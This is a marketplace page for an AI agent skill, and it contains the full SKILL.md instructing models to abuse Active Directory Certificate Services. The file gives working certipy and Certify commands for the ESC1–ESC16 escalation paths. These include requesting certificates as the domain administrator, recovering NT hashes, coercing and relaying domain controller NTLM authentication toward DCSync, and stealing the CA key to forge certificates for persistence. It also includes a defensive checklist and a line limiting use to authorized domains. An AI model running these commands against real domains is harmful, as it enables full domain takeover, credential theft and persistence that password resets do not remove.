Abusing Adcs logo

Abusing Adcs

Community
trilwu
abusing-adcs

Enumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user.

Overview

Publishertrilwu
Repositorysecskills
Skill nameabusing-adcs
Stars
144
Forks
15
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by trilwu on GitHub. Read the source before you install it.

Installation

Install the Abusing Adcs AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/trilwu/secskills.git /tmp/secskills
mkdir -p .claude/skills
cp -r /tmp/secskills/secskills-offense/skills/abusing-adcs .claude/skills/abusing-adcs
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Abusing Adcs in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Abusing Adcs on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Abusing Adcs is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Abusing AD CS

A certificate authority in an Active Directory domain is usually the shortest path from a standard user to domain administrator, because certificate templates are permission objects that almost nobody audits. A single template that lets the enrollee supply their own subject name is a full domain compromise, and it is the default on more networks than it should be.

Only against domains you are authorized to test.

When to Use

  • The domain has a CA (pKIEnrollmentService objects exist)
  • certipy find or BloodHound reports vulnerable templates
  • You have any domain credential and need a privilege escalation path
  • You need durable domain persistence that survives a password reset
  • Reviewing PKI configuration defensively

When NOT to Use

  • General AD attacks (Kerberoasting, DCSync, lateral movement) — use attacking-active-directory
  • Delegation abuse — use attacking-kerberos-delegation
  • Entra ID / cloud PKI — use attacking-entra-id
  • Detecting these attacks — use engineering-detections; certificate request events (4886/4887) are the primary telemetry

Enumerate First

bash
# Certipy — the standard tool; run this before anything else
certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout
certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -old-bloodhound

# From Windows
Certify.exe find /vulnerable
Certify.exe cas                      # CA hosts, flags, and enrollment endpoints

certipy find -vulnerable names the ESC number directly, which is why it is the first command. Read the output for: who can enroll, whether the requester supplies the subject, which EKUs are present, and whether manager approval is required.

The Escalation Paths

Grouped by what is misconfigured, because the fix and the detection differ.

Template misconfiguration — the common cases

IDConditionResult
ESC1Enrollee supplies subject (ENROLLEE_SUPPLIES_SUBJECT) + client-auth EKU + low-priv enrollment + no approvalRequest a cert as any user, including a domain admin
ESC2Any Purpose EKU (or no EKU) + low-priv enrollmentCert usable for client auth; same outcome as ESC1
ESC3Certificate Request Agent EKUEnroll on behalf of another user
ESC9CT_FLAG_NO_SECURITY_EXTENSION setCert lacks the SID binding, enabling weak-mapping abuse
ESC15v1 template with enrollee-supplied subject, application policies injectableClient auth via application policy, bypassing the EKU restriction
bash
# ESC1 — the canonical path
certipy req -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 \
  -ca 'CORP-CA' -template 'VulnTemplate' -upn 'administrator@domain.local'

# Authenticate with the certificate and recover the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
# → TGT plus the account's NT hash

Access-control misconfiguration

IDConditionResult
ESC4You have write over a template objectReconfigure it into an ESC1 template, use it, then restore
ESC5Write over PKI objects, CA computer object, or the containerVarious, up to CA control
ESC7ManageCA or ManageCertificates on the CAEnable ESC6, or approve your own pending request
bash
# ESC4 — make it vulnerable, use it, put it back
certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -save-old
# ... request as in ESC1 ...
certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -configuration WriteableTemplate.json

Restoring the template is not optional. Leaving a template in a vulnerable state is a real change to the client's security posture, and doing so unannounced is a finding against you, not them. -save-old first, restore immediately, and record both actions with timestamps.

CA misconfiguration

IDConditionResult
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 on the CAAny template becomes subject-suppliable
ESC16Security extension disabled CA-wideEvery issued cert lacks SID binding
bash
# Check the CA flags
certutil -config "CA-HOST\CORP-CA" -getreg policy\EditFlags

Relay paths

IDConditionResult
ESC8Web enrollment (/certsrv) reachable, no EPA/HTTPS bindingRelay NTLM to enrollment, get a cert for the relayed machine
ESC11ICertPassage RPC without packet integrityRelay over RPC instead of HTTP
bash
# ESC8: coerce authentication from a DC, relay it to web enrollment
certipy relay -ca 10.0.0.20 -template DomainController
# in another shell, coerce:
coercer coerce -u user -p 'Password' -t 10.0.0.10 -l 10.0.0.100
# or PetitPotam / printerbug
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10     # → DC machine account → DCSync

Certificate mapping

IDConditionResult
ESC10Weak certificate mapping registry valuesImpersonate via UPN or altSecurityIdentities
ESC13Template with an issuance policy linked to a groupCert grants that group's membership
ESC14Write access to altSecurityIdentitiesMap your certificate to a target account

Strong certificate binding changes the picture. After the May 2022 updates (KB5014754), domain controllers can require certificates to carry the SID security extension, and StrongCertificateBindingEnforcement governs how strictly. On a fully-enforcing domain, ESC9, ESC10, and Certifried (CVE-2022-26923) stop working, while ESC1, ESC4, ESC6, and ESC8 do not. Check the enforcement level before reporting a path as exploitable:

bash
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility (default for a period), 2 = full enforcement

Persistence

Certificates are the most durable AD persistence available, which is exactly why they matter in a report.

  • A user certificate remains valid for its lifetime through password resets. Resetting the compromised account does not evict the attacker.
  • Stealing the CA's private key (THEFT2 / Golden Certificate) allows forging certificates for any principal, indefinitely, offline. Recovering from that requires re-issuing the PKI.
  • Revocation is the only remedy, and most environments do not check CRLs promptly or at all.
bash
# Extract the CA key with local admin on the CA host (DPAPI-protected)
certipy ca -backup -u user@domain.local -p 'Password' -ca 'CORP-CA'
# Forge offline
certipy forge -ca-pfx ca.pfx -upn administrator@domain.local

State this explicitly when reporting: "password resets do not remediate this; the issued certificates must be revoked" is the sentence that changes the client's response plan.

Defensive Review

When the engagement is a configuration review rather than an attack:

  • Which templates allow enrollee-supplied subjects, and who can enroll?
  • Which templates have client-auth or Any-Purpose EKUs available to Domain Users or Authenticated Users?
  • Is manager approval required on sensitive templates?
  • Is EDITF_ATTRIBUTESUBJECTALTNAME2 set anywhere?
  • Is web enrollment exposed, and does it enforce HTTPS with EPA?
  • Is StrongCertificateBindingEnforcement at full enforcement?
  • Who holds ManageCA and ManageCertificates?
  • Is certificate issuance monitored (events 4886, 4887, 4899, 4900)?

Rationalizations to Reject

  • "The template requires manager approval, so it's safe." Check ESC7 — a ManageCertificates holder approves their own request.
  • "Only Domain Admins can enroll." Read the ACL rather than the name. Groups nest, and Authenticated Users appears more often than expected.
  • "We patched for Certifried." That closes one path. ESC1 and ESC8 are configuration, not patchable.
  • "We reset the compromised account's password." The certificate is still valid. Revoke it.
  • "It's an internal CA, low severity." An internal CA that issues domain authentication certificates is a domain admin equivalent.
  • "BloodHound didn't show it." Collect with a certificate-aware collector; older collections have no ADCS edges at all.
  • "I'll leave the template modified, it's easier." No.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Credential Access (TA0006)

  • T1649 Steal or Forge Authentication Certificates — see also attacking-active-directory

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

  • attacking-active-directory — the wider domain attack path
  • attacking-kerberos-delegation — the other high-yield AD escalation family
  • engineering-detections — certificate issuance and template change telemetry
  • reporting-security-findings — how to state the revocation requirement
  • Certipy, Certify, PKIAudit, BloodHound (ADCS edges), Coercer, PetitPotam

Frequently asked questions

What does the Abusing Adcs AI skill do?

Enumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user.

Why use Abusing Adcs on TypingMind?

Because you install it once and use it with any model. Abusing Adcs is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Abusing Adcs in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/trilwu/secskills/tree/main/secskills-offense/skills/abusing-adcs. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Abusing Adcs?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Abusing Adcs?

As many as you like. As long as a model supports skills, you can use Abusing Adcs with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Abusing Adcs AI skill free?

Yes. It is published on GitHub by trilwu under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇